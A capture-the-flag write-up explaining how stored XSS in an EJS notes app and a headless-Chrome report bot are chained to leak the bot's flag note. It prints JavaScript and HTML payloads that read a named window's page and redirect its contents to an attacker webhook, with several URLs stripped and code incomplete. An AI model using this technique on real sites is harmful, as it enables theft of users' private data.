I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right? Note that the headless browser used for the "report" feature does not have access to the internet. Create an account at this website. Source code: noted.tar.gz.


  1. Are you sure I followed all the best practices?

  2. There's more than just HTTP(S)!

  3. Things that require user interaction normally in Chrome might not require it in Headless Chrome.


Note that this challenge is very similar to TBDXSS from Perfect Blue CTF 2021. We found this writeup, which helped us design our exploit for this challenge.

Looking at the package.json in the source code reveals what technologies we are dealing with:

"dependencies": {
    "argon2": "^0.28.3",
    "ejs": "^3.1.6",
    "fastify": "^3.25.3",
    "fastify-csrf": "^3.1.0",
    "fastify-formbody": "^5.2.0",
    "fastify-secure-session": "^3.0.0",
    "point-of-view": "^5.0.0",
    "puppeteer": "^13.0.1",
    "sequelize": "^6.12.5",
    "sqlite3": "^5.0.2"

We have a Node application powered by the fastify framework. It is using the EJS templating language. There is a sqlite3 database. Immediately, puppeteer draws my attention since puppeteer is a headless API for Chrome. So, we likely will have to manipulate a Chrome browser.

The actual website allows users to register, sign in, create a new note with a title and body, and view their notes. Importantly, there is also a report function, where we can specify a URL to report.

Looking back at the source code, in views/notes.ejs we see that the <%- tag is used, which "outputs the unescaped value into the template" according to the EJS docs under the "Tags" heading. This means we can injection HTML code into the /notes page. Creating a new note with <script>alert(1)</script> in the body and going to /notes displays the alert box, which confirms our suspicion. This is probably what the first hint was referring to.

In report.js we can see what happens when we submit a URL using the report function. puppeteer is used to create an account on the website using a random username and password that cannot be bruteforced. Then, the browser navigates to the new node page, creates a note with the flag as the contents, and navigates to about:blank, which is just a bank page. Then, 7.5 seconds later, the browser is closed.

So, right now, our XSS exploit cannot be used to get the flag since we can only inject HTML into a page that only our account can visit.

After inputting various URLs into the report option, I noticed that the puppeteer instance actually does have internet connectivity, despite the challenge description saying it doesn't. This should make our exploit a little simpler. Navigating to and then pasting the provided URL into the report option and pressing submit, shows a GET request coming from the application.

So, the exploitation plan is as follows:

  1. Create an attacker controlled account with credentials a:a.

  2. Create a new note on that account containing a script that reads the HTML of a window named pico and sends it to our webhook.

  3. Then, we will send a report request for a page that will open a window named pico to the /notes page containing the flag. Our page/script will then login to our attacker account and go to the /notes page, triggering our XSS payload (which will read the /notes page containing the flag and send it to our webhook).

This is possible because of According to the MDN documentation, we can use the syntax open(url, target), where url is the URL we want to open and target is the name of the window that the resource is being loaded into. In a normal browser, using prompts the user if they want to allow a popup window to open, but in headless Chrome, will work without interaction, which is probably what hint 3 refers to.

Additionally, as long as the opened page is on the same origin, then we can interact with and read the DOM of the opened page. This is because the return value of is a WindowProxy object. MDN states that "the returned reference can be used to access properties and methods of the new window as long as it complies with Same-origin policy security requirements."

We will use to receive data since it's free, doesn't require an account, and publicly accessible. is an alternative and ngrok could also be used.

We do step 1 manually.

For step 2, we use the below code:

if ("run_xss")) {
    window.location = "" +"", "pico").document.body.textContent

If the window's current URL contains run_xss as a parameter in the URL, then the window will be redirected (which is just a simple way to cause a GET request) to our webhook with the text content of the pico window as a parameter. We pass an empty string to the url parameter of so that a new page is not loaded and we can access the currently loaded object.

For step 3, we will create a simple page and pass it into the report function using the data:text/html data url. This is probably what the second hint was referring to since we are not using HTTP(S). Below is the payload:

<form action="" method=POST id="login_form" target="_blank">
    <input type="text" name="username" value="a"><input type="text" name="password" value="a">
<script>"", "pico");
    setTimeout(function() {login_form.submit()}, 1000);
    setTimeout(function() {window.location=""}, 2000);

We create a form that will cause the login to occur when it is submitted. The target is _blank so that it opens in a new window and does not stop our script from running (by opening in the current window). Additionally, the form has the username and password fields already filled out so nothing needs to be inputted. We use a form on a whole new page instead of making the POST request using JavaScript (using the fetch api) so that the login cookie is set.

Then, our script performs the following actions:

  1. Open a new window named pico (so we can refer to it using our XSS payload) and open the /notes page with the flag on it.

  2. Wait 1 second and then submit the form to login to the site on the attacker account that we control. This happens in a new window.

  3. Wait another second and then change the current window's location (which has been about:blank until now) to the /notes page with our run_xss parameter, causing our XSS to run, which will grab the text content from the pico window containing the flag and send it to our webhook.

Now, all there is to do is create a note on our a:a account with the second step's XSS payload. Then, paste step 3's payload into the report function and click "Report". In a few seconds you should see the flag appear in the webhook requests panel.



Last updated